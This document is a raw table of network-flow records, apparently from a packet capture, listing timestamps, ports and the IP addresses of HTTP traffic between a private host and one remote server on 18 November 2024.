Nov 18, 2024 19:04:14.902520895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.903203964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.903253078 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.903283119 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.903330088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.903335094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.903379917 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.903424978 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.903428078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.903460979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.903469086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.903501987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.903733015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.903780937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.903788090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.903824091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.903860092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.903866053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.903892994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.903937101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.903980017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904015064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904023886 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904103994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904118061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904144049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904166937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904257059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904301882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904334068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904346943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904367924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904402971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904413939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904444933 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904556990 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904586077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904623985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904630899 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904635906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904659986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904670954 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904670954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904705048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904711962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904742002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904787064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904872894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904923916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904956102 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904969931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.904989004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.904995918 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905024052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905056000 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905069113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905090094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905124903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905134916 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905164957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905352116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905385017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905417919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905430079 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905452013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905457973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905486107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905493975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905520916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905555010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905564070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905740023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905785084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905786037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905818939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905826092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905853033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905888081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905896902 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905916929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.905930042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.905956984 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906078100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906119108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906124115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906166077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906171083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906204939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906212091 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906239033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906244993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906279087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906280994 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906323910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906430006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906464100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906471968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906497955 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906532049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906542063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906567097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906615973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906627893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906651020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906657934 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906697035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906742096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906886101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906915903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906930923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906949043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906960964 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.906985998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.906991005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907027960 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907032967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907067060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907080889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907100916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907113075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907135963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907152891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907177925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907207966 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907212973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907221079 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907247066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907274961 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907298088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907300949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907341957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907363892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907399893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907412052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907433987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907438993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907464027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907473087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907497883 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907505035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907535076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907550097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907571077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907577991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907613993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907789946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907824039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907834053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907860994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.907867908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.907906055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.940660000 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.940722942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.940738916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.940769911 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.940803051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.940884113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.940900087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.940926075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.940956116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.941049099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.941065073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.941081047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.941097021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.941097021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.941121101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.941128969 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.941144943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.941157103 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.941179037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.941389084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.941405058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.941421032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.941432953 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.941443920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.941458941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.000823021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.000854969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.000869036 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.000893116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.000932932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.000943899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.000961065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.000976086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.000993013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001010895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001117945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001159906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001205921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001220942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001244068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001259089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001266956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001280069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001297951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001305103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001313925 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001338005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001605988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001619101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001633883 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001645088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001658916 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001677990 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001782894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001797915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001813889 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001823902 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001833916 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001846075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.001856089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.001883030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002078056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002091885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002115011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002131939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002140999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002150059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002163887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002177954 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002187967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002202034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002218962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002665043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002680063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002692938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002707005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002717972 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002727985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002742052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002753019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002767086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002779007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002790928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002800941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002813101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002823114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002835989 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002845049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002856970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002868891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002881050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002892017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002916098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.002918005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002928019 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.002955914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.003448009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.003463984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.003490925 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.003499031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.003509998 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.003521919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.003539085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.003546000 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.003555059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.003571033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.003576994 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.003604889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.016282082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016299009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016314983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016397953 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.016429901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016446114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016460896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016472101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.016484022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016511917 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016520977 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.016531944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016563892 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.016592026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.016804934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016846895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.016868114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016875029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016885996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.016900063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.016922951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.016937971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.017035007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.017045021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.017060041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.017074108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.017086029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.017096996 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.017116070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.017174959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.017188072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.017216921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.017234087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.021050930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.021095037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.021110058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.021143913 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.021189928 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.021275997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.021312952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.021809101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.021822929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.021866083 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.021878004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.021886110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.021899939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.021922112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.021939039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.022347927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022397995 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.022422075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022437096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022459030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.022475958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.022547960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022564888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022602081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.022602081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.022650003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022661924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022681952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.022692919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022702932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.022728920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.022813082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022854090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.022922039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022937059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022950888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022965908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.022984028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023014069 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023072958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023166895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023226976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023252010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023267984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023282051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023296118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.023305893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.023336887 CET	49977	80	192.168.2.5	31.41.244.11
